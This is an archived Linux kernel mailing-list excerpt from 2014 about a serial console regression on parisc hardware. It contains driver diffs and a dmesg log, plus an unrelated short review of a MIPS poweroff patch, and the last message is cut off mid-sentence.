	by n23.mail01.mtsvc.net with esmtpsa (UNKNOWN:AES128-SHA:128)
	(Exim 4.72)
	(envelope-from <peter@hurleysoftware.com>)
	id 1XZ3Zw-0005lO-Oo; Tue, 30 Sep 2014 15:59:22 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.1.2
In-Reply-To: <5423120E.8060204@gmx.de>
X-Authenticated-User: 990527 peter@hurleysoftware.com
X-MT-ID: 8FA290C2A27252AACF65DBC4A42F3CE3735FB2A4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1798596 gmane.linux.serial:16132 gmane.linux.ports.parisc:6054
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798596>
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798596>

On 09/24/2014 02:48 PM, Helge Deller wrote:
> Hi Peter,
> 
> On 09/23/2014 11:08 PM, Peter Hurley wrote:
>> On 09/23/2014 04:11 PM, Helge Deller wrote:
>>> During the release cycle of v3.17 I've seen sometimes a broken serial console output
>>> on the parisc platform. Interestingly all kernel messages printed by the kernel via printk() show
>>> up correctly, but output from userspace (e.g. by the init process during boot) show
>>> up as random bytes.
>>> Since the printk() output is correct the serial port itself and setup is probably correct.
>>> Is parisc the only arch which has this problem, or are other architectures affected as well?
>>> Maybe someone has an idea what could be wrong?
>>> I did not try to bisect it yet.
>>
>> Thanks for the bug report.
>>
>> 1. What serial driver is this?
> 
> Serial port/driver integrated in NS87560 chip:
> SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
> SuperIO: Serial port 1 at 0x3f8
> SuperIO: Serial port 2 at 0x2f8
> SuperIO: Parallel port at 0x378
> SuperIO: Floppy controller at 0x3f0
> SuperIO: ACPI at 0x7e0
> SuperIO: USB regulator enabled
> ...
> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
> 
> The source code for this driver is in drivers/parisc/superio.c,
> see e.g. function superio_serial_init().
> Maybe something is missing in here which was done to the other serial drivers?

[ Sorry for reply delay. ]

Ok. So still the 8250 driver.

What are the remote line settings? (speed/parity/bits/stop)

See if reverting commit ae84db9661cafc63d179e1d985a2c5b841ff0ac4,
'serial: core: Preserve termios c_cflag for console resume', has some effect.
I'm not seeing how this commit would affect your setup, but if it does, I can
provide a debug patch to find out what userspace is doing.

If not, then I think you'll need to bisect drivers/tty/serial. I tried to
analyze if the new generic earlycon was somehow triggering but I got lost
multiple times in the static analysis.

BTW, since superio_serial_init() assigns the port type as PORT_16550A,
superio_serial_init() should be doing:

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index a042d06..36b3adb 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -395,7 +395,7 @@ static void __init superio_serial_init(void)
 	serial_port.iotype	= UPIO_PORT;
 	serial_port.type	= PORT_16550A;
 	serial_port.uartclk	= 115200*16;
-	serial_port.fifosize	= 16;
+	serial_port.flags	= UPF_FIXED_TYPE;
 
 	/* serial port #1 */
 	serial_port.iobase	= sio_dev.sp1_base;

to properly initialize the 8250 port definition. Right now, the fifosize
has no effect because the fifo capabilities is not on.

Also, consider adding

-	serial_port.flags	= UPF_FIXED_TYPE;
+	serial_port.flags	= UPF_FIXED_PORT | UPF_FIXED_TYPE;

to disable reprogramming the irq and ioport from setserial.

Regards,
Peter Hurley

> Interestingly the *same* kernel don't show this problem on another (older) parisc
> machine, but this older machine uses another serial driver:
> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> 2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18, base_baud = 454545) is a 16550A
> 5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25, base_baud = 454545) is a 16550A

PS - Unrelated note. This base_baud is junk ---------------^

> This (working) machine is using the drivers/tty/serial/8250/8250_gsc.c driver.
> 
>> 2. Regression since when?
> 
> Kernel 3.17 (3.16 worked)
> 
>> 3. Full dmesg please
> 
> See below.
> 
>> 4. Output of setserial -a [serial device]
> 
> root@c3000:~# setserial -a /dev/ttyS0
> /dev/ttyS0, Line 0, UART: 16550A, Port: 0x03f8, IRQ: 3
>         Baud_base: 115200, close_delay: 50, divisor: 0
>         closing_wait: 3000
>         Flags: spd_normal
> 
>> 5. Output of stty -a [serial device]
> 
> root@c3000:~# stty -a -F /dev/ttyS0
> speed 9600 baud; rows 24; columns 80; line = 0;
> intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
> lnext = ^V; flush = ^O; min = 1; time = 0;
> -parenb -parodd -cmspar cs8 hupcl -cstopb cread clocal -crtscts
> -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -iuclc -ixany -imaxbel -iutf8
> -opost -olcuc -ocrnl -onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
> -isig -icanon -iexten -echo -echoe -echok -echonl -noflsh -xcase -tostop -echoprt -echoctl -echoke
> 
> 
> Here is the dmesg from git head from today.
> The output copy&pasted from serial console, see strange characters at the end:
> 
> Linux version 3.17.0-rc6-32bit+ (deller@p100) (gcc version 4.7.2 20121105 (Red Hat 4.7.2-2.aa.20121114svn) (GCC) ) #230 SMP Wed Sep 24 20:23:00 CEST 2014
> unwind_init: start = 0x10742550, end = 0x10786df0, entries = 17546
> FP[0] enabled: Rev 1 Model 19
> The 32-bit Kernel has started...
> Default page size is 4KB.
> bootconsole [ttyB0] enabled
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
> vers  00000301
> CPUID vers 19 rev 11 (0x0000026b)
> capabilities 0x7
> model 9000/785/C3700
> Total Memory: 2048 MB
> LCD display at f05d0008,f05d0000 registered
> PERCPU: Embedded 11 pages/cpu @1197b000 s23200 r8192 d13664 u45056
> SMP: bootstrap CPU ID is 0
> Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 520192
> Kernel command line: HOME=/ root=/dev/sdb5 ip=bootp panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
> log_buf_len individual max cpu contribution: 4096 bytes
> log_buf_len total cpu_extra contributions: 126976 bytes
> log_buf_len min size: 65536 bytes
> log_buf_len: 262144 bytes
> early log buf free: 63248(96%)
> PID hash table entries: 4096 (order: 2, 16384 bytes)
> Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
> Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
> Sorting __ex_table...
> Memory: 2067904K/2097152K available (4840K kernel code, 679K rwdata, 1237K rodata, 332K init, 337K bss, 29248K reserved)
> virtual kernel memory layout:
>    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
>    memory  : 0x10000000 - 0x90000000   (2048 MB)
>      .init : 0x10100000 - 0x10153000   ( 332 kB)
>      .data : 0x1060d000 - 0x107ec1d0   (1916 kB)
>      .text : 0x10153000 - 0x1060d000   (4840 kB)
> Hierarchical RCU implementation.
>         Additional per-CPU info printed with stalls.
> NR_IRQS:96
> Console: colour dummy device 128x48
> Calibrating delay loop... 1495.85 BogoMIPS (lpj=7479296)
> pid_max: default: 32768 minimum: 301
> Mount-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Mountpoint-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Brought up 1 CPUs
> devtmpfs: initialized
> NET: Registered protocol family 16
> EISA bus registered
> Searching for devices...
> Found devices:
> 1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> 2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> 3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> 4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> 5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> 6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
> 7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
> CPU(s): 1 out of 1 PA8700 (PCX-W2) at 750.000000 MHz online
> Setting cache flush threshold to 640 (1 CPUs online)
> SBA found Astro 2.1 at 0xfed00000
> Elroy version TR4.0 (0x5) found at 0xfed30000
> LBA 10:0: PCI host bridge to bus 0000:00
> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
> pci_bus 0000:00: root bus resource [mem 0xf4000000-0xf47fffff]
> pci_bus 0000:00: root bus resource [bus 00]
> PCI: Enabled native mode for NS87415 (pif=0x8f)
> Elroy version TR4.0 (0x5) found at 0xfed32000
> LBA 10:1: PCI host bridge to bus 0000:01
> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
> pci_bus 0000:01: root bus resource [mem 0xfa000000-0xfbffffff]
> pci_bus 0000:01: root bus resource [mem 0xf4800000-0xf4ffffff]
> pci_bus 0000:01: root bus resource [bus 01]
> iosapic: hpa not registered for 0000:01:04.0
> Elroy version TR4.0 (0x5) found at 0xfed38000
> LBA 10:4: PCI host bridge to bus 0000:02
> pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
> pci_bus 0000:02: root bus resource [mem 0xf9000000-0xf9ffffff]
> pci_bus 0000:02: root bus resource [mem 0xf6000000-0xf67fffff]
> pci_bus 0000:02: root bus resource [bus 02]
> iosapic: hpa not registered for 0000:02:03.0
> Elroy version TR4.0 (0x5) found at 0xfed3c000
> LBA 10:6: PCI host bridge to bus 0000:03
> pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
> pci_bus 0000:03: root bus resource [mem 0xf7000000-0xf77fffff]
> pci_bus 0000:03: root bus resource [bus 03]
> powersw: Soft power switch at 0xf0400804 enabled.
> vgaarb: loaded
> SCSI subsystem initialized
> usbcore: registered new interface driver usbfs
> usbcore: registered new interface driver hub
> usbcore: registered new device driver usb
> Switched to clocksource cr16
> NET: Registered protocol family 2
> TCP established hash table entries: 16384 (order: 4, 65536 bytes)
> TCP bind hash table entries: 16384 (order: 7, 524288 bytes)
> TCP: Hash tables configured (established 16384 bind 16384)
> TCP: reno registered
> UDP hash table entries: 1024 (order: 4, 81920 bytes)
> UDP-Lite hash table entries: 1024 (order: 4, 81920 bytes)
> NET: Registered protocol family 1
> SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
> SuperIO: Serial port 1 at 0x3f8
> SuperIO: Serial port 2 at 0x2f8
> SuperIO: Parallel port at 0x378
> SuperIO: Floppy controller at 0x3f0
> SuperIO: ACPI at 0x7e0
> SuperIO: USB regulator enabled
> Enabling PDC chassis warnings support v0.05
> futex hash table entries: 8192 (order: 7, 524288 bytes)
> VFS: Disk quotas dquot_6.5.2
> Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
> msgmni has been set to 4038
> io scheduler noop registered
> io scheduler deadline registered
> io scheduler cfq registered (default)
> PDC Stable Storage facility v0.30
> STI GSC/PCI core graphics driver Version 0.9b
> sti 0000:01:04.0: enabling SERR and PARITY (0002 -> 0142)
> STI PCI graphic ROM found at f4800000 (64 kB), fb at fa000000 (32 MB)
> STI ROM supports 32 bit firmware functions.
> STI selected 8x16 framebuffer font VGA8x16 for sticon
>     id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
>     graphics card name: PCI_GRAFFITIX1280
> sticon: Initializing STI text console.
> Console: switching to colour STI console 160x64
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mmio: 0xfa100000
> Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
> console [ttyS0] enabled
> console [ttyS0] enabled
> bootconsole [ttyB0] disabled
> bootconsole [ttyB0] disabled
> serial8250: ttyS1 at I/O 0x2f8 (irq = 4, base_baud = 115200) is a 16550A
> Linux agpgart interface v0.103
> brd: module loaded
> loop: module loaded
> Uniform Multi-Platform E-IDE driver
> ns87415 0000:00:0e.0: IDE controller (0x100b:0x0002 rev 0x03)
> ns87415 0000:00:0e.0: 100% native mode on irq 7
>     ide0: BM-DMA at 0x0a00-0x0a07
>     ide1: BM-DMA at 0x0a08-0x0a0f
> hda: CD-532E-B, ATAPI CD/DVD-ROM drive
> ide0 at 0xf00-0xf07,0xe02 on irq 7
> ide1 at 0xd00-0xd07,0xb02 on irq 7
> ide-gd driver 1.18
> ide-cd driver 5.00
> ide-cd: hda: ATAPI 32X CD-ROM drive, 128kB Cache
> cdrom: Uniform CD-ROM driver Revision: 3.20
> sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 69
> sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
> sym0: SCSI BUS has been reset.
> sym0: SCSI BUS mode change from SE to SE.
> sym0: SCSI BUS has been reset.
> scsi host0: sym-2.2.3
> sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 69
> sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
> sym1: SCSI BUS has been reset.
> scsi host1: sym-2.2.3
> scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
> scsi target1:0:5: tagged command queuing enabled, command queue depth 16.
> scsi target1:0:5: Beginning Domain Validation
> scsi target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
> scsi target1:0:5: Domain Validation skipping write tests
> scsi target1:0:5: Ending Domain Validation
> scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
> scsi target1:0:6: tagged command queuing enabled, command queue depth 16.
> scsi target1:0:6: Beginning Domain Validation
> scsi target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
> scsi target1:0:6: Domain Validation skipping write tests
> scsi target1:0:6: Ending Domain Validation
> st: Version 20101219, fixed bufsize 32768, s/g segs 256
> sd 1:0:5:0: Attached scsi generic sg0 type 0
> sd 1:0:6:0: Attached scsi generic sg1 type 0
> Linux Tulip driver version 1.1.15 (Feb 27, 2007)
> tulip0: no phy info, aborting mtable build
> tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1
> net eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:30:6e:48:aa:64, IRQ 66
> LASI 82596 driver - Revision: 1.30
> ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
> ohci-pci: OHCI PCI platform driver
> ohci-pci 0000:00:0e.2: OHCI PCI host controller
> sd 1:0:6:0: [sdb] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
> ohci-pci 0000:00:0e.2: new USB bus registered, assigned bus number 1
> ohci-pci 0000:00:0e.2: irq 1, io mem 0xf4007000
> sd 1:0:5:0: [sda] 17773524 512-byte logical blocks: (9.10 GB/8.47 GiB)
> sd 1:0:6:0: [sdb] Write Protect is off
> usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
> usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
> usb usb1: Product: OHCI PCI host controller
> usb usb1: Manufacturer: Linux 3.17.0-rc6-32bit+ ohci_hcd
> usb usb1: SerialNumber: 0000:00:0e.2
> hub 1-0:1.0: USB hub found
> hub 1-0:1.0: 3 ports detected
> sd 1:0:5:0: [sda] Write Protect is off
> uhci_hcd: USB Universal Host Controller Interface driver
> HP SDC: No SDC found.
> mousedev: PS/2 mouse device common for all mice
> sd 1:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
> rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
> device-mapper: uevent: version 1.0.3
> device-mapper: ioctl: 4.27.0-ioctl (2013-10-30) initialised: dm-devel@redhat.com
> hidraw: raw HID events driver (C) Jiri Kosina
> usbcore: registered new interface driver usbhid
> usbhid: USB HID core driver
> TCP: cubic registered
> NET: Registered protocol family 17
> rtc-generic rtc-generic: setting system clock to 2014-09-24 18:24:47 UTC (1411583087)
> sd 1:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
> Sending BOOTP requests .
> usb 1-2: new low-speed USB device number 2 using ohci-pci
>  OK
>  sda: sda1 sda2 sda3 sda4
> sd 1:0:5:0: [sda] Attached SCSI disk
>  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
> sd 1:0:6:0: [sdb] Attached SCSI disk
> EXT3-fs (sdb5): error: couldn't mount because of unsupported optional features (240)
> EXT2-fs (sdb5): error: couldn't mount because of unsupported optional features (240)
> usb 1-2: New USB device found, idVendor=047b, idProduct=0002
> usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-2: Product: USB Keyboard and Mouse
> usb 1-2: Manufacturer: SILITEK
> EXT4-fs (sdb5): mounted filesystem with ordered data mode. Opts: (null)
> VFS: Mounted root (ext4 filesystem) readonly on device 8:21.
> input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.0/0003:047B:0002.0001/input/input0
> hid-generic 0003:047B:0002.0001: input,hidraw0: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input0
> devtmpfs: mounted
> Freeing unused kernel memory: 332K (10100000 - 10153000)
> input: SILITEK USB Keyboard and Mouse as /devices/parisc/10/10:0/pci0000:00/0000:00:0e.2/usb1/1-2/1-2:1.1/0003:047B:0002.0002/input/input1
> hid-generic 0003:047B:0002.0002: input,hidraw1: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-2/input1
> rs
>      og
>  ]f"
> s l
>    net eth0: Setting full-duplex based on MII#1 link partner capability of 45e1
> random: nonblocking pool is initialized
> tpdsystemd-udevd[743]: starting version 215
> .
>  eg..
>      vp..
>          ..Adding 1350652k swap on /dev/sdb6.  Priority:-1 extents:1 across:1350652k
> .
>  EXT4-fs (sdb5): re-mounted. Opts: (null)
> i.l
>    n 5
>       .
>        EXT4-fs (sdb5): re-mounted. Opts: errors=remount-ro
> a..
>    y.l
>       nsb
>          .
>           p..
>              fnsd
>                  p
> ve
> 


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [RFC PATCH 10/16] mips: support poweroff through poweroff
 handler call chain
Date: Wed, 1 Oct 2014 15:32:39 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20141001133238.GJ19854@linux-mips.org>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
 <1412100056-15517-11-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412170388 25151 80.91.229.3 (1 Oct 2014 13:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2014 13:33:08 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 01 15:33:01 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZK1c-0007Cy-KF
	for glk-linux-kernel-3@plane.gmane.org; Wed, 01 Oct 2014 15:33:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751683AbaJANct (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 1 Oct 2014 09:32:49 -0400
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:55317 "EHLO
	cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751492AbaJANcs (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 1 Oct 2014 09:32:48 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:39502 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S27010265AbaJANcpKbSm0 (ORCPT <rfc822;linux-sh@vger.kernel.org>
        + 5 others); Wed, 1 Oct 2014 15:32:45 +0200
Original-Received: from scotty.linux-mips.net (localhost.localdomain [127.0.0.1])
        by scotty.linux-mips.net (8.14.8/8.14.8) with ESMTP id s91DWeYY028675;
        Wed, 1 Oct 2014 15:32:40 +0200
Original-Received: (from ralf@localhost)
        by scotty.linux-mips.net (8.14.8/8.14.8/Submit) id s91DWdJ0028674;
        Wed, 1 Oct 2014 15:32:39 +0200
Content-Disposition: inline
In-Reply-To: <1412100056-15517-11-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1799144 gmane.linux.power-management.general:50427 gmane.linux.ports.arm.kernel:361453 gmane.linux.ports.ia64:24443 gmane.linux.kernel.metag:284 gmane.linux.ports.mips.general:44073 gmane.linux.ports.parisc:6055 gmane.linux.ports.sh.devel:39654
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1799144>

On Tue, Sep 30, 2014 at 11:00:50AM -0700, Guenter Roeck wrote:

> The kernel core now supports a poweroff handler call chain
> to remove power from the system. Call it if pm_power_off
> is set to NULL.
> 
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  arch/mips/kernel/reset.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
> index 07fc524..c3391d7 100644
> --- a/arch/mips/kernel/reset.c
> +++ b/arch/mips/kernel/reset.c
> @@ -41,4 +41,6 @@ void machine_power_off(void)
>  {
>  	if (pm_power_off)
>  		pm_power_off();
> +	else
> +		do_kernel_poweroff();

I'm happy with this as long as in a later version pm_power_off indeed
goes away.

  Ralf

From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Aw: Re: serial console broken in v3.17-rc6 ?
Date: Wed, 1 Oct 2014 16:46:01 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <trinity-e77efb94-335b-4ae1-9311-beec43297b07-1412174761195@3capp-gmx-bs15>
References: <5421D3E3.6080805@gmx.de> <5421E166.7060206@hurleysoftware.com>
 <5423120E.8060204@gmx.de>, <542B0B98.1040407@hurleysoftware.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412174778 21473 80.91.229.3 (1 Oct 2014 14:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Oct 2014 14:46:18 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel@vger.kernel.org
To: "Peter Hurley" <peter@hurleysoftware.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 01 16:46:10 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XZLAO-00061J-HF
	for glpp-linux-parisc@plane.gmane.org; Wed, 01 Oct 2014 16:46:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751405AbaJAOqH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Oct 2014 10:46:07 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:59619 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751330AbaJAOqG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Oct 2014 10:46:06 -0400
Original-Received: from [155.56.68.216] by 3capp-gmx-bs15.server.lan (via HTTP); Wed,
 1 Oct 2014 16:46:01 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <542B0B98.1040407@hurleysoftware.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:J3nJzaBiHMEBkEasI9Ght8WAYvgLRpa3vfG9htbEzyK
 DZv4ZdGuN7YWRhdMEgcGgxMutXYwrNAbxZiUyBHlh2WJrqJI9u
 1WWX7q1j6xZ0WM1OFBKlr3DmSlwUch6y/2LAOzULgrTDdjZE6n
 AS04VUi5cJygrBo0dsRyi/CX/GZw1pIw1yFPaEb6Pp6MDkZff1
 H/ab0M6dDs17bGiR+d4ntJ3N8EtjSLwYt1VmJ4JnzbzH6m7fjy
 DeI3GCWk1cowOPbHYY5+6BXfnP1qm+vzokviEFWFZ7HB9fSdZn nzovXc=
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6056 gmane.linux.serial:16136 gmane.linux.kernel:1799214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6056>

Hi Peter,

> > Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> > serial8250: ttyS0 at I/O 0x3f8 (irq = 3, base_baud = 115200) is a 16550A
> > 
> > The source code for this driver is in drivers/parisc/superio.c,
> > see e.g. function superio_serial_init().
> > Maybe something is missing in here which was done to the other serial drivers?
> 
> Ok. So still the 8250 driver.
> 
> What are the remote line settings? (speed/parity/bits/stop)

9600,8,N,1

> See if reverting commit ae84db9661cafc63d179e1d985a2c5b841ff0ac4,
> 'serial: core: Preserve termios c_cflag for console resume', has some effect.
> I'm not seeing how this commit would affect your setup, but if it does, I can
> provide a debug patch to find out what userspace is doing.

No, this did not fixed it.

> If not, then I think you'll need to bisect drivers/tty/serial. I tried to
> analyze if the new generic earlycon was somehow triggering but I got lost
> multiple times in the static analysis.
> 
> BTW, since superio_serial_init() assigns the port type as PORT_16550A,
> superio_serial_init() should be doing:
> 
> diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
> index a042d06..36b3adb 100644
> --- a/drivers/parisc/superio.c
> +++ b/drivers/parisc/superio.c
> @@ -395,7 +395,7 @@ static void __init superio_serial_init(void)
>  	serial_port.iotype	= UPIO_PORT;
>  	serial_port.type	= PORT_16550A;
>  	serial_port.uartclk	= 115200*16;
> -	serial_port.fifosize	= 16;
> +	serial_port.flags	= UPF_FIXED_TYPE;
>  
>  	/* serial port #1 */
>  	serial_port.iobase	= sio_dev.sp1_base;
> 
> to properly initialize the 8250 port definition. Right now, the fifosize
> has no effect because the fifo capabilities is not on.
> 
> Also, consider adding
> 
> -	serial_port.flags	= UPF_FIXED_TYPE;
> +	serial_port.flags	= UPF_FIXED_PORT | UPF_FIXED_TYPE;
> 
> to disable reprogramming the irq and ioport from setserial.

That was partly solving the problem!
By looking at the other drivers, I found that they set the UPF_BOOT_AUTOCONF flag too.
So, changing it to 
-       serial_port.fifosize    = 16;
+       serial_port.flags       = UPF_FIXED_PORT | UPF_FIXED_TYPE | UPF_BOOT_AUTOCONF;
solved the problem :-)

Might this be the right fix? If yes, I can push it upstream.
All those flags like UPF_BOOT_AUTOCONF seem to be poorly documented btw.

> > Interestingly the *same* kernel don't show this problem on another (older) parisc
> > machine, but this older machine uses another serial driver:
> > This (working) machine is using the drivers/tty/serial/8250/8250_gsc.c driver.
> > Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> > 2:0:4: ttyS0 at MMIO 0xf0105800 (irq = 18, base_baud = 454545) is a 16550A
> > 5:0:2: ttyS1 at MMIO 0xf0202800 (irq = 25, base_baud = 454545) is a 16550A
> 
> PS - Unrelated note. This base_baud is junk ---------------^

Is it?
The base_baud value is calculated as "port->uartclk / 16" in drivers/tty/serial/serial_core.c.

Looking at the machine specific driver code we have:
